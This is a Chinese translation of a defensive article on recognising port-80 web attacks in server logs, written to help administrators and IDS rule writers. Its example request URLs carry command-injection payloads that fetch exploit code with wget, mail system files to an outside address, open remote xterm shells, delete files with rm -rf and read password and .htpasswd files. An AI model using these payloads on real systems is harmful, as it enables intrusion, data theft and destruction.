80端口web服务攻击痕迹
80端口web服务攻击痕迹
作者: Zenomorph([email protected])
翻译:盈星满月([email protected])
I. 摘要
II.详细描述
III. 更进一步
IV. 溢出分析
V. 编码转换
VI. 结论
[摘要]
web站点默认80为服务端口,关于它的各种安全问题不断的发布出来,这些漏洞中一些甚至允许攻击者获得系统管理员的权限进入站点内部,以下是Zenomorph对一些80端口攻击方式的痕迹的研究,和告诉你怎样从日志记录中发现问题。
[详细描述]
下面部分通过一些列子,展示对web服务器和其上的应用程序普遍的攻击,和其留下的痕迹,这些列子仅仅是代表了主要的攻击方式,并没有列出所有的攻击形式,这部分将详细描述每种攻击的作用,和其怎样利用这些漏洞进行攻击。
(1)"." ".." 和 "..." 请求
这些攻击痕迹是非常普遍的用于web应用程序和web服务器,它用于允许攻击者或者蠕虫病毒程序改变web服务器的路径,获得访问非公开的区域。大多数的CGI程序漏洞含有这些".."请求。
Example:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
这个列子展示了攻击者请求mosd这个文件,如果攻击者有能力突破web服务器根目录,那么可以获得更多的信息,并进一步的获得特权。
(2)"%20" 请求
%20是表示空格的16进制数值,虽然这个并不代表你能够利用什么,但是在你浏览日志的时候会发现它,一些web服务器上运行的应用程序中这个字符可能会被有效的执行,所以,你应该仔细的查看日志。另一方面,这个请求有时可以帮助执行一些命令。
Example:
http://host/cgi-bin/lame.cgi?page=ls%20-al|
这个列子展示了攻击者执行了一个unix的命令,列出请求的整个目录的文件,导致攻击者访问你系统中重要的文件,帮助他进一步取得特权提供条件。
(3)"%00" 请求
%00表示16进制的空字节,他能够用于愚弄web应用程序,并请求不同类型的文件。
Examples:
http://host/cgi-bin/lame.cgi?page=index.html
这可能是个有效的请求在这个机子上,如果攻击者注意到这个请求动作成功,他会进一步寻找这个cgi程序的问题。
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
也许这个cgi程序不接受这个请求,原因在于它要检查这个请求文件的后缀名,如:html.shtml或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效,这个时候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型,这样,攻击者可以获得系统的路径,文件名,导致在你的系统获得更多的敏感信息
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
注意这个请求,它将骗取cgi程序认为这个文件是个确定的可接受的文件类型,一些应用程序由于愚蠢的检查有效的请求文件,这是攻击者常用的方法。
(4)"|" 请求
这是个管道字符,在unix系统用于帮助在一个请求中同时执行多个系统命令。
Example:
# cat access_log| grep -i ".."
(这个命令将显示日志中的“..“请求,常用于发现攻击者和蠕虫攻击)
常可以看到有很多web应用程序用这个字符,这也导致IDS日志中错误的报警。
在你的程序仔细的检查中,这样是有好处的,可以降低错误的警报在入侵检测系统中。
下面给出一些列子:
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
这个请求命令执行,下面是一些变化的列子
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
这个请求在unix系统中列出/etc目录的所有文件
http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
这个请求cat命令的执行并且grep命令也将执行,查询出”lame"
(5)";" 请求
在unix系统,这个字符允许多个命令在一行执行
Example:
# id;uname -a
(执行id命令后,紧跟着执行uname命令)
一些web程序用这个字符,可能导致在你的IDS日志中失败的警告,你应该仔细的检查你的web程序,让你的IDS警报失败的几率降低。
(6)"<" 和 ">" 请求
应该检查你的日志记录中这两个字符,众多的原因中,首要的一个是这个字符表明了添加数据在文件中
Example 1:
# echo "your hax0red h0 h0" >> /etc/motd (请求写信息在motd这个文件中)
一个攻击者可以容易的用象上面的这个请求篡改你的web页面。比如著名的RDS exploit常被攻击者用于更改web主页面。
Example 2:
http://host/something.php=<b>Hi%20mom%20Im%20Bold!</b>
你会注意到这里html语言的标志,他同样用了“〈”,“〉”字符,这种攻击不能导致攻击者对系统进行访问,它迷惑人们认为这是个合法的信息在web站点中(导致人们在访问这个联结的时候访问到攻击者设定的地址,这种请求可能会被转变成16进制的编码字符形式,使攻击的痕迹不那么明显)
(7)"!"请求
这种字符请求常用语对SS(Server Side Include) I进行攻击,如果攻击者迷惑用户点击被攻击者设定的联结,和上面的一样。
Example:
http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->
这个列子是攻击者可能会做的,它让一个host2站点上的文件看起来是来自于 host1上面的(当然,需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成16进制的编码伪装,不易发现)
同时,这种方式也可以以web站点的权限执行命令
Example:
http://host/something.php=<!%20#<!--#exec%20cmd="id"-->
这个列子在远程的系统上执行“id"的命令,它将显示这个web站点用户的id,通常是”nobody"或者“www"
这种形式也允许包含隐藏文件。
Example:
http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->
这个隐藏文件.htpasswd不会被显示出来,Apache建立的规则会拒绝这种以.ht 形式的请求,而SSI标志会绕过这种限制,并导致安全问题
(8)"<?" 请求
这种攻击用于试图在远程的web应用程序中插入PHP程序,它可能允许执行命令,这取决于服务器的设置,和其他起作用的一些因素(比如php设置为安全模式)
Example: http://host/something.php=<? passthru("id");?>
在某些简单的php应用程序中,它可能会在远程系统上以web站点用户的权限执行本地命令
(9)"`" 请求
这种字符后面常用在perl中执行命令,这个字符在web应用程序中不是经常的使用,所以,如果看到它在你的日志中,应该非常小心
Example:
http://host/something.cgi=`id`
一个perl写的有问题的cgi程序,会导致执行id命令
[更进一步]
下面部分将讨论更多的攻击者可能执行的命令,连同被请求的文件,以及如果你有远程执行命令的缺陷,应该怎样检查发现它。这部分只是给你个好的思路,并告诉你的系统发生了什么,攻击者尝试攻击你的系统的痕迹,但并不能列举所有的攻击者使用的命令和请求的方式。
"/bin/ls"
这个命令请求整个路径,在很多的web应用程序中都有这个漏洞,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。再一次提醒,写好的web应用程序(cgi,asp,php...etc)是安全的基础
Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
http://host/cgi-bin/bad.cgi?doh=ls%20-al;
"cmd.exe"
这是一个windows的shell,一个攻击者如果访问并运行这个脚本,在服务器设置允许的条件下可以在windows机器上做任何事情,很多的蠕虫病毒就是通过80端口,传播到远程的机器上
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\
"/bin/id"
这是个2进制的文件,它的问题和/bin/ls一样,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。
它将显示属于哪个用户和属于哪个组
Example:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
http://host/cgi-bin/bad.cgi?doh=id;
"/bin/rm"
这个命令可以删除文件,如果不正确的使用是非常危险的
Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
"wget and tftp" 命令
这些命令常被攻击者用来下载可能进一步获得特权的文件,wget是unix下的命令,可能被用来下载后门程序,tftp是unix和nt下的命令,用来下载文件。一些IIS蠕虫通过tftp来复制自身传播病毒到其他的主机
Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
"cat" 命令
这个命令用来查看文件内容,常用来读重要的信息,比如配置文件,密码文件,信用卡文件和你能够想到的文件
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
"echo" 命令
这个命令常用于写数据到文件中,比如“index.html”
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt| http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;
"ps" 命令
列出当前运行的进程,告诉攻击者远程主机运行了那些软件,以便从中得到一些安全问题的主意,获得进一步的权限
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux| http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
"kill and killall" 命令
在unix系统这个命令用于杀掉进程,一个攻击者可以用这个命令来停止系统服务和程序,同时可以擦掉攻击者的痕迹,一些exploit会产生很多的子进程
Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200| http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
"uname" 命令
这个命令告诉攻击者远程机器的名字,一些时候,通过这个命令知道web站点位于哪个isp,也许是攻击者曾今访问过的。通常uname -a来请求,这些都将记录在日志文件中
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a| http://host/cgi-bin/bad.cgi?doh=uname%20-a;
"cc, gcc, perl, python, etc..." 编译/解释命令
攻击者通过wget或者tftp下载exploit,并用cc,gcc这样的编译程序进行编译成可执行程序,进一步获得特权
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
如果你查看日志中发现有“perl” python”这些说明可能攻击者下载远程的perl ,python脚本程序,并试图本地获得特权
"mail" 命令
攻击者通常用这个命令将系统的一些重要文件发到攻击者自己的信箱,也肯能是进行邮件炸弹的攻击
Examples: [email protected]%20<<%20/etc/motd|" target="_blank">http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%[email protected]%20<<%20/etc/motd| [email protected]%20<</tmp/wu-2.6.1.c;" target="_blank">http://host/cgi-bin/bad.cgi?doh=mail%[email protected]%20<</tmp/wu-2.6.1.c;
"xterm/其他X 应用程序" 命令
xterm 常用来获得远程机器上的shell,如果你在你的日志中发现这些符号,可要认真分析你的系统,可能已经存在安全裂口。注意在日志中查找"%20-display%20" 这个字符,这种痕迹通常是在远程机子上启动xterm或者X应用程序
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1| http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;
"chown, chmod, chgrp, chsh, etc..." 等命令
在unix系统这些命令允许改变文件的许可权限
chown = 允许设置文件的拥有者chmod = 允许设置文件的许可权限chgrp = 允许改变组对文件的拥有权限chsh = 允许改变用户的shell
Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html| http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd| http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|
"/etc/passwd" 文件
这是系统的密码文件,一般是shadow过的,并且不允许看到加密的口令,不过对攻击者来说,可以知道那些是有效的用户,以及系统的绝对路径,站点名称等信息,由于通常被shadow过的,所以对攻击者,通常会查看/etc/shadow 文件
"/etc/master.passwd"
这个文件是BSD系统的密码文件,包含有加密过的密码,这个文件对root帐号仅仅是只读的,而一些不熟练的攻击者会打开他试图读取里面的内容.,如果web站点是以root权限运行的,那么对攻击者来说,就能够读取里面的内容,对系统管理员很多问题也将接踵而来
"/etc/shadow"
包含有加密过的系统口令,对root帐号同样只读,和/et/master.passwd差不多
"/etc/motd"
当用户登陆进unix系统中出现的信息,就在这个"Message of the Day" 文件中 ,它提供重要的系统信息和管理员对用户的一些设置,那些是希望用户看到的,那些不是,还含有系统的版本信息,攻击者通常查看此文件,了解是什么系统在运行,对攻击者来说,下一步是搜索这种类型的系统的exploit,进一步获得系统特权
"/etc/hosts"
该文件提供ip地址和网络信息,攻击者可以了解更多的系统中的网络设置
"/usr/local/apache/conf/httpd.conf"
这是个Apache web服务器的配置文件,攻击者可以了解诸如cgi,ssi是否可访问等信息
"/etc/inetd.conf"
这是inetd服务的配置文件,攻击者可以了解远程机器上的那些服务启动,是否用了wrapper进行访问控制,如果发现wrapper 运行着,攻击者下一步会检查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,并可能会更改里面的一些设置,获得特权
".htpasswd, .htaccess, and .htgroup"
这些文件通常在web站点用于对用户身份进行认证,攻击者会查看这些文件,并获得用户名和密码,密码文件.htpasswd被加密过,通过一些简单的破解程序进行解密,使攻击者访问站点中被保护的区域(通常用户用和用户名相同的密码,以至攻击者可以以其他帐号进行访问)
"access_log and error_log"
这些是apache服务器的日志记录文件,攻击者常会查看这些文件,看那些请求被记录,那些和其他请求不同的地方
通常,攻击者会修改这些日志文件,比如他自身的地址信息,攻击者通过80端口突破你的系统,而你的系统又没有进行备份的工作,也没有其他记录程序记录系统状况,这将使入侵检测工作变的很困难
"[drive-letter]:\winnt\repair\sam._ or [drive-letter]:winnt\repair\sam"
Windows NT系统中的密码文件,如果远程命令不可以执行,通常攻击者会请求这些文件,然后通过"l0pht crack"之类的密码破解工具进行破解,如果攻击者试图攻击administrator的密码文件,如果成功那么远程机器将被攻击者得到控制权
[溢出 分析]
我不会在这篇文章中说过多的关于溢出的话题,我将举列说明那些现象和痕迹值得注意和特别关注的地方,缓冲攻击常被攻击者通过编码转换和其他途径来达到不易发现
下面是个简单的列子
Example: http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
这个列子展示了攻击者对某个应用程序发送很多的A字符,来测试程序的缓冲溢出,缓冲溢出可以获得远程主机的命令执行权限,如果是具有setuid和属主为root的程序,通过溢出,可以得到整个系统的访问权限,如果不是setuid之类的程序,那么溢出仅仅是得到运行该web站点的用户权限
这里并不能讲述所有的情况,不过你应该有定时的检查你的日志文件,如果那一天突然发现很多的请求,而平时的请求不多,那么说明你正遭受到溢出的攻击,当然也可能是一种新的网络蠕虫的攻击
[编码转换]
以上提及的所有攻击请求,攻击者通常知晓IDS系统常会机械的检查这些请求,通常是攻击者会用编码转换工具将所请求的内容转化成16进制的格式,导致IDS会忽略这些请求,我们熟知的CGI漏洞扫描工具Whisker就是个很好的列子。如果你在查看日志的时候发现大量的16进制和不常见的一些字符,那么可能攻击者尝试用一些方式对你的系统进行攻击
一种快速发现的方法是,将你的日志文件中的那些16进制的请求,拷贝到你的浏览器中,通过浏览器可以转化成正确的请求,并显示出来请求的内容,如果你不敢冒这个危险,简单的man ASCII,可以提供给你正确的编码。
[结论]
这篇文章不可能覆盖所有的80端口的攻击,但是以上已经列举了大部分普遍的攻击方式,同时告诉你如何检查你的日志文件,和怎样加如一些IDS的规则,写她的目的在于给web系统管理员应该关注什么提供一个好的思路,同时,我也希望这篇文章可以帮助给web程序的开发者写出更好的web程序
作者注:如果你有什么注解和建议,请发电子邮件 [email protected].
发布人:盈星满月 来自: